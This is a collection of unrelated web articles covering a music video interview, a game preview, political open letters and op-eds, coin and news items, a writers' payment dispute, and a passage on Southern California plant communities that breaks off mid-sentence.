-Today, Lana Del Rey revealed that her new album will be titled Lust For Life and that it’s “coming soon.” The announcement came in the form of a fascinating black and white trailer, which was stuffed with symbolism, vintage sci-fi visual effects, and a monologue from Lana that addressed creating a new album in “these dark times.” Find the full transcript for the video here. Director Clark Jackson—whose previous credits under the name Constellation Jones include visuals for Lady Gaga, Miguel, and others—is behind the new trailer. He talked to Pitchfork via email about how Lana recorded that monologue on her phone, the overall concept behind the new video, creating that Hollywood sign out of papier-mâché, what to expect from her next single, and all the “hidden tie-ins” to her forthcoming album.  What was the concept for this video?  We wanted to play with the idea of old 16mm instructional videos mixed in with ’50s and ’60s era sci-fi shows. We loved the idea of playing with magic, something slightly noir which is very her, something a little playful which is also very her. And of course we did it because of the reveal of the album title which she’s really excited about. We also wanted to tie in this idea that Lana was talking about the power of positive vibrations and the idea that positive thoughts can make a difference...that's why she wanted to send little hearts out to the world. We also wanted to put in a whole bunch of hidden tie-ins to the rest of her album. In the end there are not very many items represented there, but each of them means something—each thing was placed on purpose. We want people to ask, “Why a ladder? Why the seven planets?” As songs and the rest of the album are released, they will become more clear.  Last month, Lana tweeted about a nationwide occult effort trying to remove President Trump from office through witchcraft. How does the occult factor into this video?  That’s actually kind of funny, we never talked directly about witchcraft or the occult, we were more having fun with the idea of the zany world of old TV shows and noir etc. Maybe that idea of positive vibrations, and the idea of if we can put positive out into the world that maybe we can make a positive difference ties in there somewhere, but truthfully I don’t know.  The video features a bunch of symbols. Most people recognized the Weeknd's XO logo, but what you can tell me about the other symbols?  I can’t tell you what all the images were for. Each was important and I think in time, each will be revealed.  How did the monologue come together? Any particular inspirations there?  You will have to ask Lana directly about where the monologue came from. She pulled up to a meeting with me and it was something that she had recorded on her cell phone. She said “let’s do something like this,” but it was so perfect that we didn’t edit a word of it and used it as is.  Vevo lists Benny Blanco, Emile Haynie, and Rick Nowels as co-producers, with you, on this video. What did they contribute?  Vevo does that—they don’t always differentiate between the video producer and the producers of the record, the music, etc. I am just happy to be in their fine company, some of the finest music minds in the industry.  Any standout memories of working with Lana on this?  Lana is amazing to work with. She has a real vision but lets you get in her head and see if you can add to it. It is the best case scenario. She knows what she needs, but wants you to add your own spark to it, too. There is this sense when I work with her that she gives everything of herself, and that comes out in just how powerful her music is.  There are a lot of visual effects here: the ghostly Lana, the flickering stars over Los Angeles, the Statue of Liberty’s torch being snuffed out. What was the most challenging part about directing this?  The hardest part of this whole video was the Hollywood sign. We wanted a night shot of the Hollywood sign as it looked, all lit up in the 1950s. Of course, the sign is not lit up anymore. So I and a few friends built the sign and the mountain out of papier-mâché, foam, chicken wire, and old school Hollywood-style model-making in my garage. The neighbors thought I had lost my mind when they saw me knee deep in papier-mâché. Blink and you will miss it, but all of that from the tower to the sign to the bushes and trees were all made by hand. Probably would have been so much easier to have someone build it in 3D, but it was so much fun playing in mud, glue, and paint for three days.  What was your involvement on the “Love” video? Anything you can please tell us about the visual aesthetic there?  I produced the “Love” video. Rich Lee is this amazing director, so any time I can work or play with him, I jump in. As a producer my job is to try to come up in real space all of the amazing ideas that the director has in their head. We had a couple of main shoot days, then we ran all over Southern California for several days to shoot all the cool otherworldly landscapes.  What can we expect, visually or sonically, from Lust for Life?  Just like on the clues in the video, I’ve been sworn to secrecy, but I think I can safely say that the first single is going to be rather Hollywood-centric. It ties in for sure.
-Wolfenstein: The New Order is unashamedly old-school. The product of Swedish upstart Machine Games – a new outfit comprised of Starbreeze veterans – the revamp endeavours to ditch the conventions that have consumed the first-person genre over the course of the current generation, evangelising classic staples such as medkits, enormous arsenals, and even bigger guns. But while the excursion through time is clearly a risky proposition, does it profit from its more simplistic sensibilities?  Assuming the role of William ‘B.J.’ Blazkowicz, gaming’s inaugural Nazi eliminator, the narrative takes place in an alternate history in which Adolf Hitler and his band of unhinged cronies have taken control of the globe. Unable to lead a resistance due to the untimely onset of an irksome coma, the steroid-powered protagonist awakes to find the world a changed place. This leads to the ripped hero embarking on a Rambo-esque adventure across Europe, pumping lead into any Swastika-branded grunts that dare to cross his path.  Narrative was not the emphasis during our hands-on session, but coming from the team behind The Chronicles of Riddick: Escape from Butcher Bay, we’re pledged plenty of exploratory segments in which the plot promises to take centre stage. It’s worth noting that the Uppsala-based studio is skipping multiplayer entirely, opting to concentrate on concocting a killer single player campaign. It’s a sound decision – especially considering the dominance of the genre’s biggest brands – but it’s going to put even more pressure on the developer to deliver something special throughout the solo affair.  Fortunately, the gunplay is more satisfying than rubbing salt into a mouth ulcer. Throughout the course of our relatively brief playthrough, we managed to amass an expansive artillery encompassing various shotguns, submachine guns, laser pistols, and more. Many of the weapons can be dual-wielded, meaning that you can sprint into battle picking off ostentatiously dressed adversaries with simultaneous shots of magnum fire to the face. Not that you’ll have much opportunity to do so in the game’s current guise – our Blazkowicz seemed more Blazkowimp due to the title's punishing difficulty. It’s still being balanced, apparently.  That doesn’t mean that the weapons aren’t exceptionally good fun, though. Picking off foes feels satisfying, with streams of bullets coercing your folly into macabre death marches. It’s not just gunmen of the flesh that you’ll be slaughtering – robots are also a fixture in this alternate history setting, testing your engineering acumen as you dismantle their armoured chassis one clip at a time.  It’s fun, but there’s going to need to be more to the game. Perhaps that’s where the communicative components will click in, but as already alluded, there was no hint of that in our hands-on. One sequence does introduce an element of verticality – pitting us at the bottom of a heavily-guarded spiral staircase – so there is evidence of variety in the gunfights. These shootouts remain intense throughout, primarily because you’ll need to gather resources from the carcasses of your fallen foes, resulting in reckless sprints through crossfire in order to grab an essential boost.  In fact, the health system is daringly different. Your life does restore in a lethargic fashion, but you’ll need to loot your victims or find items to properly replenish your energy. Both armour and vitality can be collected, but if either exceeds 100 per cent, the figure will deplete. This is actually a neat system which adds to the intensity of the action, as you kamikaze into battle when you’re overpowered in order to take advantage of your temporary buff.  Weapons are not restricted to combat either, with one laser rifle that we snatched able to cut through steel panels. This is not only essential for navigation purposes, but also for finding collectibles, as a cracked open metallic case rewards us with a welcome ammunition upgrade. The full game will be packed with intelligence items, currency, and more, perhaps paving the way for plenty of replayability. Again, we didn’t get to see enough of this for it to convince us either way.  Still, the game looks good enough. It’s being powered by Bethesda’s proprietary id Tech 5 engine, which was last employed in the flawed post-apocalyptic outing RAGE. A lot of the environments that we got to explore involved clinical corridors, but there were some standout areas, including a gigantic hangar deck scattered with cyborgs and disgruntled guards. The frame-rate is already fluid, and the studio’s promising an additional layer of polish prior to release. It’s no Killzone: Shadow Fall just yet, but that’s partly through artistic intent – this is shooting for a much darker tone, which is perhaps in-keeping with the story setup.  It’s the simple act of pulling the trigger that left us most impressed, though. Machine Games is clearly not trying to reinvent the wheel – in fact, it’s very much attempting to turn it back a few notches. And in a round-about way, that’s actually sort of refreshing. The commercial success of Call of Duty has forced the first-person genre into an insipid production line of rat-a-tat shootouts and larger-than-life set-pieces. By stepping away from that, Blazkowicz’s rebellious return to form promises copious amounts of combat catharsis. Will it be brilliant? It’s too early to tell – but it’s definitely going to be brash.  Subscribe to Push Square on  Wolfenstein: The New Order will unload its ammunition on both the PS3 and PS4 later this year. Is your trigger finger itching to play the title? Let us know in the comments section below.
-Dear Rush,  From one talk radio host to another, thank you so much for your recent attack on Sandra Fluke, the Georgetown Law Student who testified before Congress in favor of a policy that would include birth control as part of health care coverage. You called her a slut. You meant to insult Sandra. But because you called her a slut for exercising her right to speak up and demand birth control, you have stripped the word of its traditional, cruel meaning. I am now a slut too. All women who have ever attempted to decide when and how many children they would have, and with whom, are now sluts. I'm guessing your sister, if you have one, is a slut. Your three ex-wives are probably sluts as well. Might the newest Mrs. Limbaugh be one too?  Slut is a loaded word, a word used for many years to impugn women for exercising sexual freedom. Men are not sluts. We don't even have a word in English for men who like a lot of sex with different partners. What does that tell you about the corrosive effect of discriminatory language? We don't have a word for men who sleep around, therefore we don't even have a way to express the idea that such behavior might be as morally bad for men as it is judged to be for women. Of course, that is not surprising.  The thought that a woman might actually enjoy sex for its own sake is so scary to some men that they will do anything to shut us up, including wrapping a burka around us, body and soul. You even invent words to tell us how sinful our behavior is. Thank you so much today for removing one of the uglier of those words from our vocabulary. After today's tirade, the word slut has become a badge of honor, a rallying cry for all women who demand freedom.  I envision a march on Washington, joined by my fellow women, and the many men who love and like us, in which we link arms and wear sandwich boards declaring, "I am a slut too". Now that you have rendered the word "slut" impotent, perhaps you can refill your Viagra prescription. But since you don't approve of sex for fun, I know you won't mind our insistence that Viagra be banned from health insurance. After all, if we can't enjoy sex, neither can you.  Yours very truly,  Lisa Wexler
-A bullion coin that’s been produced since 2011, the Ukrainian Archangel Michael has a classic numismatic design and over the last couple of years has proven increasingly popular. While there are gold bullion versions available, there’s always been an absence of higher quality issues. A privy mark variant has appeared in the past, but remained with the standard bullion version.  Tomorrow sees the launch of a proof silver Archangel Michael coin. Visually identical to the well liked bullion coin, it’s a great looking design and one we’re looking forward to seeing a proof version of in hand. There are no signs of a gold variant yet, but with most of the interest on the silver coin we’d be surprised if a gold proof materialised this year.  If you want to know more about the bullion coin, then head over to our Bullion Profile for more information. The proof coin has a mintage of 10,000 pieces. It’s unknown if this will be a regular release, but some national banks in the region have a sporadic issue programme with proof coins, the Russian George the Victorious springs to mind, so we’d look at this as a special issue for now, rather than the start of a new annual event. Availability of the bullion coin has improved this year so we’d suggest keeping an eye out at dealers like APMEX to see if they’ll be stocking them.
-PHILADELPHIA (CBS) — It’s a bipartisan call to fix the nation’s infrastructure.  America’s infrastructure has a D+ grade, and is ranked 20th in the world according to the American Society of Engineers.  “Literally everything as part of our infrastructure needs to be funded,” said Pennsylvania Democratic Congressman Brendan Boyle.  Philly High School Honors James Beard Award Recipients With Mayor Kenney  Monday morning Boyle was joined by law makers from both sides of the aisle at Philadelphia International Airport to kick off National Infrastructure Week.  The goal was to call for President Trump and Congress to work together on developing a plan to fund airports, railroads, bridges and roads.  “Generally all of them are in a dramatic need of repair, and what we’ve had is many decades of both parties kicking the can down the road and not funding these things properly,” said Boyle.  ALSO READ: Philadelphia Files Suit Against Wells Fargo For ‘Discriminatory Lending’  Philadelphia International Airport is in the midst of an over haul to its infrastructure.  Joseph Messina Deputy Director of Aviation said, “Both the airfield for a runway extension, we’ve done taxi way work, we’re doing work on our deicing facility.  Officials say they want to fund these improvements by implementing and raising different taxes, but they say it will bring millions of jobs to the country.
-Could Facebook Chief Operating Officer Sheryl Sandberg have known there would be a big backlash when she embarked on her campaign to ban the use of the word "bossy" to describe the behavior of assertive women and young girls in particular? Her statistics have been criticized as cherry-picked or debunked, and the movement has been roundly mocked, resulting in an increase of the word "bossy" being tossed around (and at Sandberg). It seems likely that despite Sandberg’s efforts, "bossy" will not be joining "bitchy" in the list of words forbidden in polite company.  As COO of Facebook, surely she’s familiar with certain types of Internet behavior, namely that of trolls. Once a term used mostly by fans of the fantasy genre, "troll" is now used to refer to people who deliberately try to stir up trouble and mayhem on the Internet and through social media. The term has even been made into a verb. It has leapt off the Internet to describe anybody (particularly politicians and pundits) whose behavior seems designed to stir up controversy rather than conversation. Women who are active online tend to be a frequent target of nasty attacks from trolls, and the names they get called make "bossy" look like a compliment. Sometimes the harassment spills over into real life in creepy, sometimes threatening ways.  So why did Sandberg attempt such a misguided effort? She’s probably been called "bossy" in the past few weeks more than she ever had been growing up. There’s some theorizing that Sandberg, a Hillary Clinton supporter, wants to short-circuit some of the critical language Clinton will face should she run for president again. That seems a bit of a long bridge to trudge across to make political hay out of the "ban bossy" effort. It’s more likely that Sandberg means what she says. She doesn’t like the word and she thinks it’s hurtful.  But her approach to trying to ban the use of "bossy" highlights a troubling issue that’s become an extension of the "language police" culture. Sandberg and those who approach communication this way are saying that the community as a whole is responsible for the emotional well-being of its citizens, that millions of people she’s never met can affect her attitude and mental health with the language that they use. Not only are hundreds of millions of people unwilling to embrace this philosophy in the first place; it’s essentially giving the people of the world (especially the trolls) a blueprint on what to say to really hurt you.  Consider a study just last fall from the University of Texas. Researchers determined that schools that had developed anti-bullying programs actually saw more bullying than schools without programs. How did that happen? The kids used the examples of bullying they were shown as a template, not a warning. From the college’s own coverage of the report:  "One possible reason for this is that the students who are victimizing their peers have learned the language from these anti-bullying campaigns and programs," said Seokjin Jeong, an assistant professor of criminology and criminal justice at UT Arlington and lead author of the study, which was published in the Journal of Criminology. "The schools with interventions say, ‘You shouldn’t do this,’ or ‘you shouldn’t do that.’ But through the programs, the students become highly exposed to what a bully is and they know what to do or say when questioned by parents or teachers," Jeong said.  The researchers also pointed out that boys are more likely to be victims of physical bullying, and girls, emotional. Most parents would expect adults to intervene in instances of physical bullying. Verbal and emotional bullying becomes a more complicated matter. Here’s how one school defines the two of them:  Verbal: Verbal bullying involves speaking to a person or about a person in an unkind or hurtful way. Examples include: sarcasm, teasing, put-downs, name calling, phone calls, spreading rumors or hurtful gossip. Emotional: Emotional bullying involves behaviors that upset, exclude, or embarrass a person. Examples include: nasty notes, saying mean things using technology (e.g. cyber bullying using emails, instant messaging), chat rooms, tormenting threatening, humiliation or social embarrassment.  Certainly these are behaviors adult caretakers want to discourage in the strongest terms and even discipline. But as we grow up, "physical bullying" becomes "assault and battery" and the law gets involved. Verbal and emotional bullying becomes … what exactly? Part of becoming an adult is learning how to appropriately deal with environments where this behavior happens. This doesn’t necessarily mean, "Suck it up, you little baby." Rather, as adults, we are expected to be responsible for managing our emotional well-being. That includes learning how to be around others or adapt to others who simply don’t give a damn about our feelings.  These calls to ban words, these references to all behaviors that make us feel bad as "bullying," and the very concept of "trigger warnings," an Internet/college phenomenon where the public is expected to warn adults in advance that they may talk about issues (like assault) where some may have personal, traumatic experiences, push the responsibility for individuals’ well-being onto the world around them. Not only is this unrealistic nonsense, it is an abnegation of one’s own ability to thrive and cope in a complex world. It is the opposite of evolution and maturation.  And it’s dangerous. That is what the trolls know. "Don’t say these terrible things that wound me psychologically," we say. "I’m going out of town for a week and keeping my door unlocked. Please don’t rob my house," is what the troll hears. Obviously, we want the people who matter in our lives—our family, friends, children, co-workers—to respect us and not use hurtful language against us. It’s perfectly reasonable to ask your significant other or your children not to call you or anybody else "bossy." But the world at large doesn’t care about your emotional state. They have their own problems to deal with. Don’t expect strangers to care what you think about the word "bossy" any more than they care what you think about the weather, the upcoming elections, or last night’s episode of Scandal. The strangers who do pay attention may well be jerks looking to use your publicly revealed vulnerabilities to screw with your head.
-Developer Erick Sasse has released a Amazon Email Service component for Delphi XE8 Firemonkey over on Github. The Amazon Email Service (SES) is basically an outbound email sending service (ala an SMTP gateway) for you to send email through. There is a very small fee per email and they also have tiered buckets on how many emails you send through it a day (the more you max out your bucket the more emails they allow you to send in following days). It is a low cost solution for translational emails, notification emails, or even business emails. We use it a bit and it costs us $2-$3 a month. In any event full source code is provided for the TAmazonEmailService component and you should be able to compile it for Android, IOS, OSX, and Windows. There is a code snippet which allows shows how easy it is to send out an email using the component. You should be able to use this component with Appmethod as well.  Head over and download the full source code for the Amazon Email Service component for Delphi XE8 Firemonkey.
-The Mets-Yankees situation was also caused by a change in the date of the All-Star Game, which is normally the second Tuesday in July. This season it is scheduled for July 16, the third Tuesday of the month, and when every other factor was taken into account, the only way to make it all work was to have the Mets and the Yankees play at home on the same day, Feeney said.  The last time two New York teams opened their seasons at home on the same day was in 1956, when the New York Giants and the Brooklyn Dodgers did so. In those days, with three teams in the city, it was much more common. And so on April 17, 1956, the Dodgers lost to the Phillies, 8-6, at Ebbets Field and the Giants beat the Pirates, 4-3 at the Polo Grounds.  Feeney was not positive, but she said she thought she was at that game at the Polo Grounds because her father, Charles Feeney, known as Chub, was the Giants’ head of baseball operations, and most opening days were a free pass to leave school and head to Coogan’s Bluff.  So, what is a New Yorker to do?  Michael R. Bloomberg already has a plan for his final opening day as mayor. He will attend both games, according to his spokesman, Marc LaVorgna. No word on which game Bloomberg, who grew up outside Boston, plans to attend first. Maybe it will depend on whether either team asks him to throw out the first pitch.  For those who have experienced both opening days as a player, it is hard to say which would be better. Darryl Strawberry, one of the best position players to wear both uniforms, said that picking one would be too tough.  “I wouldn’t be able to choose,” he said. “I think that’s a day for a fan to stay home and watch on TV and switch back and forth.”  Sounds like a plan. Unless it snows.
-Little Orbit announced a new Cartoon Network game earlier this year, but without any sort of details. However, information has now been made public.  Cartoon Network: Backlot Party is the full title of the new game. Game Machine Studios is handling development.  Cartoon Network: Backlot Party will include five different games: Dodgeball, Shoot to Win, Backyard Chase, Girl Trouble, and Muriel’s in Peril. Shows featured as sets include The Amazing World of Gumball, Courage the Cowardly Dog, Ed, Edd n Eddy, Regular Show and Adventure Time.  Players will be able to unlock new characters from TV shows like Adventure Time, Regular Show, The Amazing World of Gumball, The Grim Adventures of Billy and Mandy, The Powerpuff Girls, Courage the Cowardly Dog, Ed, Edd n Eddy, Cow and Chicken, and Dexter’s Labority. The Wii version of the game will include four-player multiplayer support. A total of 24 characters are included.  Little Orbit will release Cartoon Network: Backlot Party on Wii ($39.99) and 3DS ($29.99) this fall.  Source: Little Orbit PR, Via  Share this: Twitter  Facebook  Reddit  Tumblr  Google  More  Email  Print  LinkedIn  Pinterest  Pocket
-December 13, 2017  Dear Readers, Funders and Board Members of Nautilus Magazine,  As of December 13 , we are writers and editors awaiting payment from Nautilus magazine for a collective debt totalling $50,000. Some of us have been waiting to be paid for more than a year. Our numbers span many time zones, from London to New York, Colorado, Utah, California and Alaska.  Hopes were high when Nautilus magazine was founded four years ago as “a New Yorker version of Scientific American” featuring well-researched and thoughtful articles on science and philosophy.* Created with a grant from the John Templeton Foundation, the publication went on to win top industry recognition including multiple National Magazine Awards and Webbies.  But readers, investors, grantors and board members may not know that the publication owes many writers and some editors for print and web work published many months ago—in many cases over a year ago. Individually, we have each repeatedly contacted the publisher, John Steele, requesting payment for work that took days, weeks, or even months.  At first, Steele promised to pay upon completion of a pending merger with the American Association for the Advancement of Science, or AAAS. We waited and waited some more. He began parcelling out partial payments to some of us, promising more once the merger came through. When the merger failed, he assured us we would get paid once this or that grant came in—which never seemed to happen.  Some writers have been paid after threatening legal action. Most of us are awaiting even partial payment in amounts up to $11,000 for one individual, with the average about $2,500 owed each. Our signed contracts for print and web require payment 30 to 60 days after publication. Most of us are owed for stories that were contracted before Undark magazine (April 29, 2017) revealed that Nautilus was failing to pay writers. Indeed, Nautilus is in multiple breach of its contracts.  Some of us have won prestigious awards under the Nautilus banner. For this we are grateful. But good journalism does not come free—and this is our livelihood.  It is no secret that journalism faces difficult times. But we are disappointed and angry that Nautilus took advantage of writers and editors and that Steele allowed staffers (many of whom, we believe, were equally in the dark about the magazine’s finances) to commission articles he knew that Nautilus could not pay for.  To collect, ten of us have joined the National Writers Union, a local union of the United Automobile Workers, to pursue a group non-payment grievance with legal action if necessary. Others of us, who cannot join the union for a variety of reasons, are signing this letter in solidarity.  #paynautiluswriters. To all Nautilus contributors, join us at . We did good work and Nautilus published it. By legal contract and by right, we deserve to be paid. To the public and Nautilus funders, we ask for your support in holding the publication accountable. Tweet. To all Nautilus contributors, join us at nwu@nwu.org We did good work and Nautilus published it. By legal contract and by right, we deserve to be paid.  Best Regards,  Anil Ananthaswamy, Berkeley, California, NASW**  Lorraine Boissoneault, Chicago, Illinois, NWU  Erica Cirino, Long Island, New York, SEJ  Matthew Hutson, New York City, NWU  Jon Irwin, Atlanta, Georgia  Alla Katsnelson, Northampton, Massachusetts, NWU, NASW  Adam Kucharski, London, UK  Evelyn Lamb, Salt Lake City, Utah, NWU, NASW  Samantha Larson, Seattle, Washington, NWU  Amy Maxmen, Berkeley, California, NASW  George Musser, Glen Ridge, NJ, NASW  Ivan Oransky, Northampton, Massachusetts, AHCJ, NASW  Simon Parkin, Brighton, UK  Jessica Seigel, New York City, NWU, ASJA  Zach St. George, Oakland, California, NWU  Shannon Stirone, San Francisco, NWU, NASW  Elizabeth Svoboda, San Jose, California, NWU  Emily Wortman-Wunder, Denver, Colorado  Zach Zorich, Fort Collins, Colorado, NWU, NASW  *New York Times, May 6, 2013, quote from John Steele , founder, publisher and editorial director.  **All signatories speak as individuals and do not represent these professional organizations.
-To begin with, the area of Southern California is generally considered to be from Santa Barbara County on the north, stretching eastward and northward across the Santa Ynez Mountain Range to Mt. Pinos in Ventura County, and continuing in a northwesterly direction to include the east slopes of the White and Inyo Mountains, across the Panamint Range and into Death Valley, southward to Los Angeles and San Bernardino Counties including the San Gabriel and San Bernadino Mountains, the Mojave Desert, the New York and Providence Mountains, and southward still to include Orange, Riverside, San Diego and Imperial Counties, with areas of Colorado Desert, the San Jacinto Mountains, Santa Rosa and Santa Ana Mountains, Joshua Tree National Park, and the Salton Sea region, being bounded by the Mexican border to the south, the Pacific Ocean to the west, and the Colorado River and Nevada state line to the east. Thus there are three distinct floristic areas to be considered, the cismontane area between coast and mountains, the montane areas, and the transmontane area on the inland or desert side of the mountains. The Channel Islands off the coast may be considered a fourth floristic area. Technically speaking, California is divided into two Floristic Provinces, the California Floristic Province and the Desert Floristic Province. The Great Basin Floristic Province extends a narrow wedge-shaped area in a southward direction between the eastern side of the Sierras and the Death Valley region, which at one time reached its southern terminus in the San Bernadino Mountains. Rainfall in Southern California can vary from 0-2" annually in Death Valley to around 50" in the higher, wetter reaches of the mountains. The ocean moderates the temperatures of the coastal regions and also adds to their moisture load with fog. Frost is rare near the coast, while above 5000' snow falls in the winter and there are many days of morning frost. Coastal regions are more even in temperature, while inland temperatures, both higher and lower, are more extreme. Southern California is characterized generally by a fairly long dry season with temperatures that can exceed 100 degrees on many days, and relatively short mild winters during which almost all the annual precipitation falls. Another important consideration with regard to rainfall is the recurring cycle of El Nino years which have been occurring on an irregular basis roughly every seven or so years. El Nino years bring increased rainfall to Southern California, and depending upon how they develop may distribute rainfall throughout the fall, winter, and spring seasons. It is during these years that the desert in particular comes to spectacular life. The winter of 1997-1998 was the last El Nino season that we have had in Southern California with roughly three times normal rainfall and ephemeral plants springing up in the desert that hadn't been seen in many years. A further complication in the rainfall pattern is what is being referred to as the Pacific Decadal Oscillation, which is a 10-20 year cycle of dry years and wet years that is not yet well understood, such that if an El Nino occurs during the dry phase, its effects will be significantly mitigated. It appears that Southern California is in the midst of such a dry phase at the moment. It is important to recognize that plant communities are not always clearly defined entities with strictly delineated boundaries, and that a given species may well inhabit two or more different such communities. Plant communities or associations are typically dependent on or affected by such factors as geographical location, soil types, precipitation rates, angle and direction of slopes, elevations, microclimates and successional considerations, and thus it is not uncommon to find a particular plant or grouping of plants growing outside what would be thought of as its customary habitat if some of the above factors are advantageous to that growth. Depending upon what sources you refer to, there can be literally dozens of plant communities in Southern California, but the major and most widely recognized ones are as follows: (1) coastal salt marsh, (2) freshwater marsh, (3) coastal strand, (4) coastal sage scrub, (5) chaparral, (6) southern oak woodland, (7) valley grassland, (8) riparian woodland, (9) yellow pine or montane coniferous forest, (10) pinyon-juniper woodland, (11) sagebrush scrub, (12) shadscale scrub, (13) creosote bush scrub, (14) desert riparian woodland, (15) joshua tree woodland and (16) alkali sink. I will attempt to give a brief description of each with some of its associated plants. 1. Coastal salt marshes typically include low areas, estuaries and wetlands in immediate proximity to the coast and in the tidal zone of the ocean, often protected lagoons such as Mugu and Malibu, and places which are characterized by at least seasonal inundation by salt water and a high salt content in the soil. Plants in these localities must be adapted to being in salt water at least part of the time and are referred to as halophytes. This necessity produces a distinct succulence and/or compactness compared to similar plants further inland which results in a reduced evaporating surface. Typical plants of coastal salt marsh would include such genera as Salicornia (pickleweed), Suaeda (seepweed) and Limonium (sea lavender), Batis maritima (saltwort), Cuscuta salina (saltmarsh dodder), Jaumea carnosa (jaumea), Spartina foliosa (California cordgrass), Frankenia salina (alkali heath), and several species of Atriplex. 2. Freshwater marshes are the end result of water draining from the mountains, including standing or slowly moving water, mostly below 500', and are wet or semi-dry areas, but with a usually wet substratum. Plants that characterize such habitats include Rorippa nasturtium-aquatica (water-cress), the water smartweeds Polygonum amphibium and punctatum, Polygonum arenastrum (knotweed), Nuphar luteum (pond lily), Typha latifolia (common cattail), Anemopsis californica (yerba mansa), Euthamia occidentalis (western goldenrod), Artemisia biennis (biennial sagewort), Azolla filicoides (mosquito fern), Cyperus eragrostis (tall flatsedge), and species of Lemna (duckweed), Scirpus (tule), Carex (sedge), Juncus (rush) and Potamogeton (pondweed). Examples of freshwater marsh areas may be found at Century Lake, Nicholas Flat Pond, Rocky Oaks Pond, and La Jolla Pond, all in the Santa Monica Mountains. Between salt and freshwater marshes, there may be brackish areas where plants must be adapted to both salty and fresh water. 3. Coastal strand refers to the vegetation of a thin strip of land along the coast, including beaches, dunes and the area between ocean and bluffs. Plants here are customarily succulent, herbaceous, evergreen, perennial and xerophytic. Salt spray and wind have a drying effect, and of course plants on the beaches and dunes above the beaches are periodically affected by significant and powerful storm surges. Species diversity is low and vegetation is spare. A drive along the Pacific Coast highway from Santa Monica to Point Mugu passes through this plant community. Typical plants include Abronia maritima (red sand verbena), Cakile maritima (sea rocket), Ambrosia chamissonis (silver beach-bur), Atriplex leucophylla (beach saltbush), Ericameria ericoides (mock heather), Camissonia cheiranthifolia (beach primrose), Lupinus chamissonis (dune lupine), Distichlis spicata (saltgrass), and the iceplants of genus Carpobrotus and Mesembryanthemum. 4. Coastal sage scrub is often referred to as 'soft chaparral' because its shrubs are not as densely-spaced or as rigid as those of true chaparral, and their leaves are not the thick, tough, sclerophyllus and drought-tolerant leaves that characterize that community. Coastal sage scrub exists mainly below about 3000' and occupies generally drier sites than does chaparral, being developed primarily on western slopes above the beaches, on steep, south-facing wind-exposed slopes, and in areas where the marine layer penetrates further inland to foothills and canyons. This community receives on average about 10"-20" of annual rainfall and is subject only rarely to frost conditions. Shrubs here are not the completely woody shrubs of chaparral and are adapted to long, dry summers in a number of ways. Remaining dormant through the dry season, they either drop leaves or produce smaller leaves on secondary shoots during the summer, which can result in a reduction of water loss by as much as 80%, a characteristic known as seasonal dimorphism. Root systems are generally shallow because the plant is inactive so much of the time. Some shrubs may store water in succulent leaves and stems, and others produce aromatic oils from the leaf surfaces which makes them less appealing to grazing animals and may reduce water loss, but which also increases their flammability during the frequent fires. Coastal sage scrub shrubs are typically fire adapted by seed germination so that there are usually individuals of all ages present. Typical species in this community are Artemisia californica (California sagebrush), Eriogonum cinereum (ashyleaf buckwheat), E. elongatum (long-stemmed buckwheat), E. fasciculatum (California or wild buckwheat), Salvia apiana (white sage), S. mellifera (black sage), S. leucophylla (purple sage), Mimulus longiflorus (bush monkeyflower), Encelia californica (bush sunflower), Baccharis pilularis (coyote brush), Hazardia squarrosus and Isocoma menziesii (sawtooth and coast goldenbush), Malosma laurina (laurel sumac), Trichostema lanatum (woolly blue curls), Venegasia carpesioides (canyon sunflower), Lotus scoparius (deerweed), Eriophyllum confertiflorum (golden yarrow), Opuntia littoralis (coast prickly pear), Lupinus spp. (lupines) and Elymus canadensis (Canadian wildrye). 5. Chaparral is a plant community which derives its name from the Spanish word  chaparro, which means 'little oak' and refers to a thicket of scrub oaks. This community occupies dry, rocky or gravelly slopes with either light or heavy soils at an elevation generally above that of coastal sage scrub, but adjacent to it. The boundary between chaparral and coastal sage scrub is not always a clear one, and many species may be found on either side of such a boundary. The substrate is typically rockier and moister than that of coastal sage scrub. The author W.S. Head has without claiming to have invented the term referred to chaparral as an 'elfin forest,' and I like the description of it as vegetation that is too high to see over, too low to go under, and too thick to get through. Chaparral species are adapted to a Mediterranean climate that exists in only four other areas of the world, Chile, Australia, South Africa and of course, the Mediterranean. This climate is characterized by long, dry summers with limited rainfall occurring almost exclusively in the mild winter. It is during the winter that plant growth occurs, while during the dry season most chaparral shrubs simply survive. They do so by adaptations that allow them to be drought-tolerant, such as being tough and woody, having small leathery evergreen sclerophyllus leaves that often orient vertically to minimize exposure to the sun, and crown sprouting immediately after fires without having to wait for rainfall to germinate seeds. Chaparral shrubs are typically 6'-12' or so high, and have deep roots for collecting moisture from the substrate. They are usually so close together that little or no vegetational understory can compete for limited ground water. After fires, there is a high density of spring and summer annuals, but these last only until the shrubs can recover the area. Several kinds of chaparral have been described, chamise chaparral, ceanothus chaparral, manzanita chaparral and scrub oak chaparral, and these are localities where there are close to pure stands of those particular species. Species that are common to chaparral in general are Adenostema fasciculatum (chamise), several species of Ceanothus (California lilac), Arctostaphylos glauca and glandulosa (bigberry and eastwood manzanita), Quercus dumosa and berberidifolia (scrub oaks), Cercocarpus betuloides (mountain mahogany), Rhamnus californica (coffeeberry), Trichostema lanatum (woolly blue curls), Rhus ovata (sugarbush), Heteromeles arbutifolia (toyon), Fraxinus dipetala (foothill ash), Rhamnus ilicifolia and crocea (hollyleaf and littleleaf redberry), Dendromecon rigida (bush poppy), Garrya veatchii (silk-tassel bush), Leptodactylon californicum (prickly poppy), Malosma laurina (laurel sumac), Prunus ilicifolia (hollyleaf cherry), and Yucca whipplei (chaparral yucca). 6. Southern oak woodland consists of woody vegetation generally over 15' tall and typically occupies north-facing slopes, shaded canyon ravines and sheltered interior valleys below about 5000', and grades into both valley grassland and riparian woodland. There are sometimes intermittant streams that cross areas of oak woodland, and the annual rainfall is usually between 15" and 25". The dominant trees are the oaks, Quercus lobata, Quercus agrifolia and Quercus engelmannii (valley oak, coast live oak and engelmann oak), Juglans californica (black walnut), Platanus racemosa (western sycamore), Umbellularia californica (California bay laurel), Heteromeles arbutifolia (toyon), and Sambucus mexicana (mexican elderberry), accompanied by Rhamnus californica (coffeeberry), Rhus ovata (sugarbush), Rhus integrifolia (lemonadeberry), Rhus trilobata (squawbush), Toxicodendron diversilobum (poison oak), Dryopteris arguta (coastal wood fern), and Pteridium aquilinium (bracken fern). These smaller trees and shrubs along with herbaceous plants and grasses form a vegetative understory which is an important part of this community. 7. Valley grassland is a community that is regrettably scarce in Southern California and growing scarcer because of agriculture and development. Much of the Central Valley of California remains in some form of grassland, but in our region there are not many areas of more than a few acres. A primary one occupies the La Jolla Valley at the western end of the Santa Monica Mountains and is some 600 acres in extent, and another 